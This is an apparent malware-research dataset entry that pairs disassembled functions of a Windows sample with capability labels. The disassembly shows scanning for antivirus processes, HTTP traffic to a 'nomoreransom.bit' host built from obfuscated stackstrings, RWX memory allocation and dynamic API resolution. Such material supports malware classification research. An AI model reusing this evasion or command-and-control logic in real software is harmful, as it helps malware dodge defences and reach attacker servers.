joyce8/EMBER2024-capa huggingface dataset:
Function at 0x407520
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 4
push 0x3000
push 0x400
push 0
call esi
mov ebx, dword [ebp + 8]
push 4
push 0x3000
push 4
push 0
mov dword [ebx], eax
mov dword [ebp - 0x4c], str.AVP.EXE
mov dword [ebp - 0x48], str.ekrn.exe
mov dword [ebp - 0x44], str.avgnt.exe
mov dword [ebp - 0x40], str.ashDisp.exe
mov dword [ebp - 0x3c], str.NortonAntiBot.exe
mov dword [ebp - 0x38], str.Mcshield.exe
mov dword [ebp - 0x34], str.avengine.exe
mov dword [ebp - 0x30], str.cmdagent.exe
mov dword [ebp - 0x2c], str.smc.exe
mov dword [ebp - 0x28], str.persfw.exe
mov dword [ebp - 0x24], str.pccpfw.exe
mov dword [ebp - 0x20], str.fsguiexe.exe
mov dword [ebp - 0x1c], str.cfp.exe
mov dword [ebp - 0x18], str.msmpeng.exe
call esi
mov edi, eax
mov dword [ebp - 0x14], edi
test edi, edi
je 0x4075e2
push 0
push 2
mov dword [edi], 0x22c
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov dword [ebp - 0x10], eax
cmp eax, 0xffffffff
jne 0x4075ed
push 0x8000
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 8
xor ecx, ecx
xor esi, esi
push edi
push eax
mov dword [ebp - 8], ecx
mov dword [ebp + 8], ecx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 4], esi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x4076dd
lea ecx, [ecx]
test esi, esi
jne 0x4076b7
add edi, 0x24
jmp 0x407620
push edi
push dword [ebp + esi*4 - 0x4c]
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x40763a
inc esi
cmp esi, 0xe
jb 0x407620
mov esi, dword [ebp - 4]
jmp 0x407697
cmp dword [ebp + 8], 0
push edi
push dword [ebx]
mov dword [ebp - 0xc], 1
jne 0x40765f
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0x4107d0
push dword [ebx]
call dword [sym.imp.KERNEL32.dll_lstrcatW]
jmp 0x407670
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
call esi
push 0x4107d0
push dword [ebx]
call esi
inc dword [ebp + 8]
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [ebp - 8]
mov esi, dword [ebp - 4]
lea ecx, [ecx + eax*2]
mov eax, 1
cmp ecx, 0x3c0
mov dword [ebp - 8], ecx
cmova esi, eax
mov dword [ebp - 4], esi
mov edi, dword [ebp - 0x14]
push edi
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
je 0x4076b7
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x12
jne 0x407610
cmp dword [ebp - 0xc], 0
je 0x4076d5
mov eax, dword [ebx]
cmp word [eax], 0
je 0x4076d5
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [ebx]
xor edx, edx
mov word [ecx + eax*2 - 2], dx
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp - 8]
mov dword [eax], ecx
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFree]
push 0x8000
push 0
push edi
call esi
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [ebp - 0xc]
test edi, edi
jne 0x407707
push 0x8000
push edi
push dword [ebx]
call esi
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x4077f0
Capabilities:
Contain obfuscated stackstrings
Create http request

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xdc
push ebx
push esi
push edi
mov edi, dword [sym.imp.WININET.dll_InternetOpenW]
xor eax, eax
push eax
push eax
push eax
push eax
mov word [ebp - 4], ax
mov esi, ecx
lea eax, [ebp - 0xdc]
mov dword [ebp - 0xdc], 0x6f004d
push eax
mov dword [ebp - 0xd8], 0x69007a
mov dword [ebp - 0xd4], 0x6c006c
mov dword [ebp - 0xd0], 0x2f0061
mov dword [ebp - 0xcc], 0x2e0035
mov dword [ebp - 0xc8], 0x200030
mov dword [ebp - 0xc4], 0x570028
mov dword [ebp - 0xc0], 0x6e0069
mov dword [ebp - 0xbc], 0x6f0064
mov dword [ebp - 0xb8], 0x730077
mov dword [ebp - 0xb4], 0x4e0020
mov dword [ebp - 0xb0], 0x200054
mov dword [ebp - 0xac], 0x2e0036
mov dword [ebp - 0xa8], 0x3b0031
mov dword [ebp - 0xa4], 0x570020
mov dword [ebp - 0xa0], 0x57004f
mov dword [ebp - 0x9c], 0x340036
mov dword [ebp - 0x98], 0x200029
mov dword [ebp - 0x94], 0x700041
mov dword [ebp - 0x90], 0x6c0070
mov dword [ebp - 0x8c], 0x570065
mov dword [ebp - 0x88], 0x620065
mov dword [ebp - 0x84], 0x69004b
mov dword [ebp - 0x80], 0x2f0074
mov dword [ebp - 0x7c], 0x330035
mov dword [ebp - 0x78], 0x2e0037
mov dword [ebp - 0x74], 0x360033
mov dword [ebp - 0x70], 0x280020
mov dword [ebp - 0x6c], 0x48004b
mov dword [ebp - 0x68], 0x4d0054
mov dword [ebp - 0x64], 0x2c004c
mov dword [ebp - 0x60], 0x6c0020
mov dword [ebp - 0x5c], 0x6b0069
mov dword [ebp - 0x58], 0x200065
mov dword [ebp - 0x54], 0x650047
mov dword [ebp - 0x50], 0x6b0063
mov dword [ebp - 0x4c], 0x29006f
mov dword [ebp - 0x48], 0x430020
mov dword [ebp - 0x44], 0x720068
mov dword [ebp - 0x40], 0x6d006f
mov dword [ebp - 0x3c], 0x2f0065
mov dword [ebp - 0x38], 0x350035
mov dword [ebp - 0x34], 0x30002e
mov dword [ebp - 0x30], 0x32002e
mov dword [ebp - 0x2c], 0x380038
mov dword [ebp - 0x28], 0x2e0033
mov dword [ebp - 0x24], 0x370038
mov dword [ebp - 0x20], 0x530020
mov dword [ebp - 0x1c], 0x660061
mov dword [ebp - 0x18], 0x720061
mov dword [ebp - 0x14], 0x2f0069
mov dword [ebp - 0x10], 0x330035
mov dword [ebp - 0xc], 0x2e0037
mov dword [ebp - 8], 0x360033
call edi
mov dword [esi + 4], eax
test eax, eax
jne 0x4079f2
push 0x10000000
push eax
push eax
push 1
lea eax, [ebp - 0xdc]
push eax
call edi
mov dword [esi + 4], eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x407a00
Capabilities:
Allocate or change rwx memory
Connect to http server
Contain obfuscated stackstrings
Execute shellcode via indirect call
Read data from internet
Receive data
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
push ebx
push esi
mov esi, ecx
push edi
mov eax, dword [esi + 4]
test eax, eax
je 0x407a19
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, esi
call fcn.004077f0
push 0
push 0
push 3
push 0
push 0
push 0x50
push dword [ebp + 8]
push dword [esi + 4]
call dword [sym.imp.WININET.dll_InternetConnectW]
mov esi, eax
mov dword [ebp - 4], 0
mov dword [ebp - 8], esi
test esi, esi
jne 0x407a51
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x2c
push 0x40
push 0x3000
push 0x2800
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push dword [ebp + 0xc]
mov edi, eax
push 0x410330
push edi
mov dword [ebp - 0xc], edi
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
push 0
push 0x8404f700
push 0
push 0
push str.HTTP_1.1
push edi
push dword [ebp + 0x28]
push esi
call dword [sym.imp.WININET.dll_HttpOpenRequestW]
mov edi, eax
test edi, edi
je 0x407b72
xor eax, eax
mov dword [ebp - 0x3c], 0x6f0048
push eax
mov word [ebp - 0x10], ax
lea eax, [ebp - 0x3c]
push 0xffffffffffffffff
push eax
push edi
mov dword [ebp - 0x38], 0x740073
mov dword [ebp - 0x34], 0x20003a
mov dword [ebp - 0x30], 0x6f006e
mov dword [ebp - 0x2c], 0x6f006d
mov dword [ebp - 0x28], 0x650072
mov dword [ebp - 0x24], 0x610072
mov dword [ebp - 0x20], 0x73006e
mov dword [ebp - 0x1c], 0x6d006f
mov dword [ebp - 0x18], 0x62002e
mov dword [ebp - 0x14], 0x740069
call dword [sym.imp.WININET.dll_HttpAddRequestHeadersW]
test eax, eax
je 0x407b72
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0x30]
push dword [ebp + 0x2c]
push edi
call dword [sym.imp.WININET.dll_HttpSendRequestW]
test eax, eax
je 0x407b6c
mov ebx, dword [ebp + 0x1c]
lea eax, [ebp + 8]
mov esi, dword [ebp + 0x18]
dec ebx
push eax
push ebx
push esi
push edi
mov dword [ebp + 8], 0
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x407b72
lea esp, [esp]
mov eax, dword [ebp + 8]
test eax, eax
je 0x407b72
mov byte [eax + esi], 0
lea eax, [ebp + 8]
push eax
push ebx
push esi
push edi
mov dword [ebp + 8], 0
mov dword [ebp - 4], 1
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x407b40
jmp 0x407b72
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push edi
call esi
push dword [ebp - 8]
call esi
push 0x8000
push 0
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x2c
Function at 0x407c60
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64
push ebx
push esi
push edi
push 0xf0000000
push 1
xor ebx, ebx
mov dword [ebp - 8], ecx
push ebx
push ebx
lea eax, [ebp - 4]
mov edi, edx
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x407d79
xor ecx, ecx
lea ecx, [ecx]
lea eax, [ecx + 0x61]
mov word [ebp + ecx*2 - 0x64], ax
inc ecx
cmp ecx, 0x1a
jb 0x407c90
push 0x40
push 0x3000
lea ebx, [edi + 1]
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
je 0x407d82
cmp edi, ebx
jae 0x407d82
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x2c], 0x70797243
push eax
mov dword [ebp - 0x28], 0x6e654774
mov dword [ebp - 0x24], 0x646e6152
mov word [ebp - 0x20], 0x6d6f
mov byte [ebp - 0x1e], 0
mov dword [ebp - 0x1c], 0x61766441
mov dword [ebp - 0x18], 0x32336970
mov dword [ebp - 0x14], 0x6c6c642e
mov byte [ebp - 0x10], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
jne 0x407d17
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
je 0x407d5e
lea ecx, [ebp - 0x2c]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x407d5e
push esi
push edi
push dword [ebp - 4]
call eax
test eax, eax
je 0x407d5e
xor ecx, ecx
test edi, edi
je 0x407d57
mov ebx, dword [ebp - 8]
mov dword [ebp - 0xc], 0x1a
movzx eax, byte [esi + ecx]
cdq
idiv dword [ebp - 0xc]
mov ax, word [ebp + edx*2 - 0x64]
mov word [ebx + ecx*2], ax
inc ecx
cmp ecx, edi
jb 0x407d41
mov ebx, 1
jmp 0x407d60
xor ebx, ebx
push 0
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x407db0
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
push ebx
push esi
push edi
push 0xf0000000
push 1
xor edi, edi
mov dword [ebp - 0xc], ecx
push edi
push edi
lea eax, [ebp - 4]
mov ebx, edx
push eax
mov dword [ebp - 8], ebx
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x407ea2
xor ecx, ecx
lea eax, [ecx + 0x61]
mov byte [ebp + ecx - 0x38], al
inc ecx
cmp ecx, 0x1a
jb 0x407de0
push 0x40
push 0x3000
inc ebx
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
je 0x407eab
cmp dword [ebp - 8], ebx
jae 0x407eab
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x2c], 0x70797243
push eax
mov dword [ebp - 0x28], 0x6e654774
mov dword [ebp - 0x24], 0x646e6152
mov word [ebp - 0x20], 0x6d6f
mov byte [ebp - 0x1e], 0
mov dword [ebp - 0x1c], 0x61766441
mov dword [ebp - 0x18], 0x32336970
mov dword [ebp - 0x14], 0x6c6c642e
mov byte [ebp - 0x10], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
jne 0x407e65
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
je 0x407e89
lea ecx, [ebp - 0x2c]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x407e89
push dword [ebp - 0xc]
push dword [ebp - 8]
push dword [ebp - 4]
call eax
test eax, eax
mov ecx, 1
cmovne edi, ecx
push 0
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x402140
Capabilities:
Allocate thread local storage

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [0x5cd380]
cmp eax, 2
je 0x4021d3
push esi
push 0
push 1
push 0x5cd380
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
test eax, eax
jne 0x4021af
push 4
call fcn.005313fe
mov esi, eax
add esp, 4
mov dword [ebp - 4], esi
mov dword [esi], 0
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
push 0x5cd380
mov dword [esi], eax
push 0x402300
mov dword [0x5cd384], esi
call fcn.00404ac0
mov eax, dword [0x5cd384]
add esp, 8
mov dword [0x5cd380], 2
pop esi
mov esp, ebp
pop ebp
ret
cmp eax, 2
je 0x4021d2
mov eax, dword [0x5cd380]
cmp eax, 2
je 0x4021d2
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call esi
mov eax, dword [0x5cd380]
cmp eax, 2
jne 0x4021c4
pop esi
mov eax, dword [0x5cd384]
mov esp, ebp
pop ebp
ret

Function at 0x402b60
Capabilities:
Get thread local storage value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x571c3d
mov eax, dword fs:[0]
push eax
sub esp, 0xc
push ebx
push esi
push edi
mov eax, dword [0x5c4680]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
call fcn.004029f0
mov edi, dword [ebp + 8]
test edi, edi
js 0x402c07
call fcn.00402140
push dword [eax]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov ebx, eax
test ebx, ebx
je 0x402c07
call fcn.004029f0
mov esi, eax
push esi
mov dword [ebp - 0x10], esi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov dword [ebp - 4], 0
mov eax, dword [ebx]
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x14], eax
call fcn.004029f0
mov edi, eax
lea eax, [ebp - 0x18]
push eax
lea ecx, [edi + 0x18]
call fcn.00402e70
push eax
add eax, 0x10
push eax
push ecx
lea eax, [ebp - 0x18]
push eax
lea ecx, [edi + 0x18]
call fcn.00402e90
cmp byte [ebp - 0x14], 0
jne 0x402c1b
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x14]
cmp eax, dword [ebx]
je 0x402c1b
test esi, esi
je 0x402c07
push esi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
inc dword [ebx + 8]
mov eax, dword [ebp + 8]
mov dword [ebx + 0xc], eax
test esi, esi
je 0x402c2f
push esi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x403a20
Capabilities:
Check if file exists
Delete file
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push esi
mov esi, dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x403a91
test al, 0x10
je 0x403a8a
mov eax, 0x414
mov dword [ebp - 0x20], 0
mov word [ebp - 0x10], ax
lea eax, [ebp - 0x20]
push eax
mov dword [ebp - 0x1c], 3
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x14], 0x5a6998
mov dword [ebp - 0xe], 0
mov dword [ebp - 0xa], 0
mov dword [ebp - 6], 0x5a6998
call dword [sym.imp.SHELL32.dll_SHFileOperationW]
test eax, eax
je 0x403a8a
cmp dword [ebp - 0xe], 0
pop esi
sete al
mov esp, ebp
pop ebp
ret
xor al, al
pop esi
mov esp, ebp
pop ebp
ret
mov al, 1
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x4045e0
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x571e20
mov eax, dword fs:[0]
push eax
push ecx
push ebx
push esi
push edi
mov eax, dword [0x5c4680]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, ecx
mov dword [ebp - 0x10], eax
mov dword [eax + 4], 0
mov dword [eax + 8], 0
mov dword [eax + 0xc], 0
mov ebx, ecx
mov dword [ebp - 4], 0
mov esi, dword [ebp + 8]
mov dword [ebx], vtable.nbase::CmdLineArgs.0
mov dword [ebx + 0x10], 0
test esi, esi
jne 0x40464d
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov esi, eax
test esi, esi
je 0x4047a6
mov ecx, esi
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x404652
sub ecx, edx
sar ecx, 1
je 0x4047a6
lea edi, [ecx + ecx]
lea eax, [edi + 2]
push eax
call fcn.0054466b
mov ecx, eax
add esp, 4
mov dword [ebx + 0x10], ecx
test ecx, ecx
je 0x4047a6
movzx eax, word [esi]
lea esi, [esi + 2]
mov word [ecx], ax
lea ecx, [ecx + 2]
test ax, ax
jne 0x404683
mov eax, dword [ebx + 0x10]
xor ecx, ecx
mov word [edi + eax], cx
mov esi, dword [ebx + 0x10]
test esi, esi
je 0x4047a6
movzx eax, word [esi]
test ax, ax
je 0x4047a6
mov ecx, eax
push ecx
call fcn.0054c77c
add esp, 4
test eax, eax
je 0x4046d7
movzx eax, word [esi + 2]
add esi, 2
push eax
call fcn.0054c77c
add esp, 4
test eax, eax
jne 0x4046c3
movzx eax, word [esi]
mov ebx, eax
test ax, ax
je 0x40478f
cmp eax, 0x22
lea ecx, [esi + 2]
movzx eax, word [ecx]
cmove esi, ecx
mov edx, eax
mov edi, esi
mov esi, ecx
mov dword [ebp + 8], edi
test ax, ax
je 0x404734
mov ecx, edx
movzx eax, cx
cmp ebx, 0x22
jne 0x404716
cmp eax, ebx
jne 0x404723
movzx eax, word [esi + 2]
test ax, ax
je 0x404731
push eax
call fcn.0054c77c
add esp, 4
test eax, eax
jne 0x404731
movzx eax, word [esi + 2]
add esi, 2
mov ecx, eax
test ax, ax
jne 0x404701
mov edi, dword [ebp + 8]
cmp word [esi], 0
je 0x404742
xor eax, eax
mov word [esi], ax
add esi, 2
cmp word [edi], 0
mov edx, dword [ebp - 0x10]
je 0x40476b
mov eax, dword [edx + 8]
cmp dword [edx + 0xc], eax
je 0x40475b
mov dword [eax], edi
add dword [edx + 8], 4
jmp 0x40476b
lea ecx, [ebp + 8]
push ecx
push eax
lea ecx, [edx + 4]
call fcn.00404920
mov edx, dword [ebp - 0x10]
movzx eax, word [esi]
mov ecx, eax
test ax, ax
jne 0x4046b6
mov eax, edx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x406610
Capabilities:
Allocate thread local storage

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [0x5cd388]
cmp eax, 2
je 0x4066a3
push esi
push 0
push 1
push 0x5cd388
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
test eax, eax
jne 0x40667f
push 4
call fcn.005313fe
mov esi, eax
add esp, 4
mov dword [ebp - 4], esi
mov dword [esi], 0
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
push 0x5cd388
mov dword [esi], eax
push 0x402300
mov dword [0x5cd38c], esi
call fcn.00404ac0
mov eax, dword [0x5cd38c]
add esp, 8
mov dword [0x5cd388], 2
pop esi
mov esp, ebp
pop ebp
ret
cmp eax, 2
je 0x4066a2
mov eax, dword [0x5cd388]
cmp eax, 2
je 0x4066a2
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call esi
mov eax, dword [0x5cd388]
cmp eax, 2
jne 0x406694
pop esi
mov eax, dword [0x5cd38c]
mov esp, ebp
pop ebp
ret

Function at 0x4077e0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x14
push ebx
mov ebx, ecx
mov dword [esp + 8], 0
mov ecx, dword [ebp + 8]
push esi
push edi
xor edi, edi
lea eax, [ecx - 1]
mov dword [esp + 0x1c], eax
sar eax, 1
mov dword [esp + 0x18], eax
test eax, eax
jle 0x4078b3
lea ecx, [edi + edi]
lea eax, [ecx*8]
mov dword [esp + 0x14], ecx
sub eax, ecx
mov ecx, dword [ebx + eax*8 + 0x70]
mov edi, dword [ebx + eax*8 + 0x74]
lea edx, [ebx + eax*8]
mov esi, dword [edx + 0x3c]
mov eax, dword [edx + 0x38]
cmp edi, esi
jl 0x407849
jg 0x40783b
cmp ecx, eax
jbe 0x40783f
xor eax, eax
jmp 0x40785b
cmp edi, esi
jg 0x407850
jl 0x407849
cmp ecx, eax
jae 0x407850
mov eax, 1
jmp 0x40785b
mov ecx, dword [edx + 0x78]
xor eax, eax
cmp ecx, dword [edx + 0x40]
setle al
mov edi, dword [esp + 0x14]
mov ecx, dword [esp + 0x10]
inc edi
add edi, eax
lea eax, [edi*8]
sub eax, edi
lea esi, [ebx + eax*8]
lea eax, [ecx*8]
sub eax, ecx
mov ecx, dword [esi + 4]
lea edx, [ebx + eax*8]
mov eax, dword [esi]
mov dword [edx], eax
mov dword [edx + 4], ecx
lea ecx, [edx + 0x10]
mov eax, dword [esi + 8]
mov dword [edx + 8], eax
mov al, byte [esi + 0xc]
mov byte [edx + 0xc], al
lea eax, [esi + 0x10]
push eax
call fcn.00407360
mov eax, dword [esp + 0x18]
mov dword [esp + 0x10], edi
cmp edi, eax
jl 0x407810
mov ecx, dword [ebp + 8]
mov edx, edi
cmp edi, eax
jne 0x4078fe
test cl, 1
jne 0x4078fe
lea eax, [ecx*8]
sub eax, ecx
mov ecx, dword [ebx + eax*8 - 0x34]
lea esi, [ebx + eax*8]
lea eax, [edi*8]
sub eax, edi
lea edx, [ebx + eax*8]
mov eax, dword [esi - 0x38]
mov dword [edx], eax
mov dword [edx + 4], ecx
lea ecx, [edx + 0x10]
mov eax, dword [esi - 0x30]
mov dword [edx + 8], eax
mov al, byte [esi - 0x2c]
mov byte [edx + 0xc], al
lea eax, [esi - 0x28]
push eax
call fcn.00407360
mov edx, dword [esp + 0x1c]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ecx
mov ecx, ebx
call fcn.00407230
add esp, 0xc
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x407930
Capabilities:
Terminate thread

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, ecx
mov eax, dword [esi + 8]
mov dword [esi], vtable.nbase::Thread.0
test eax, eax
je 0x407977
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x407960
mov eax, dword [esi + 8]
test eax, eax
je 0x407977
push 0
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esi + 4], 0
mov dword [esi + 8], 0
test byte [ebp + 8], 1
je 0x407988
push 0x10
push esi
call fcn.0053142e
add esp, 8
mov eax, esi
pop esi
pop ebp
ret 4

Function at 0x408c50
Capabilities:
Get thread local storage value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
mov esi, ecx
call fcn.00406610
push dword [eax]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
push 1
cmp byte [eax + 0x14], 0
lea eax, [ebp - 0x1c]
je 0x408cb5
push 0xf
push 0xf
push 0
push eax
call dword [sym.imp.USER32.dll_PeekMessageW]
test eax, eax
jne 0x408cb1
push 1
push 0x113
push 0x113
push eax
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.USER32.dll_PeekMessageW]
test eax, eax
jne 0x408cb1
push eax
lea eax, [esi + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret
mov bl, 1
jmp 0x408cc7
push 0
push 0
push 0
push eax
call dword [sym.imp.USER32.dll_PeekMessageW]
test eax, eax
setne bl
push 0
lea eax, [esi + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
test bl, bl
jne 0x408cdf
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 0xc]
lea eax, [ebp - 0x1c]
mov ecx, esi
push eax
call fcn.00408ba0
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x409610
Capabilities:
Get thread local storage value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5724cd
mov eax, dword fs:[0]
push eax
push ecx
push ebx
push esi
push edi
mov eax, dword [0x5c4680]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
lea esi, [edi + 0xc]
push esi
mov dword [ebp - 0x10], esi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov dword [ebp - 4], 0
cmp dword [edi + 0x24], 0
je 0x409668
call fcn.00406610
push dword [eax]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
cmp eax, dword [edi + 0x24]
jne 0x409668
mov bl, 1
jmp 0x40966a
xor bl, bl
test esi, esi
je 0x409675
push esi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov al, bl
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret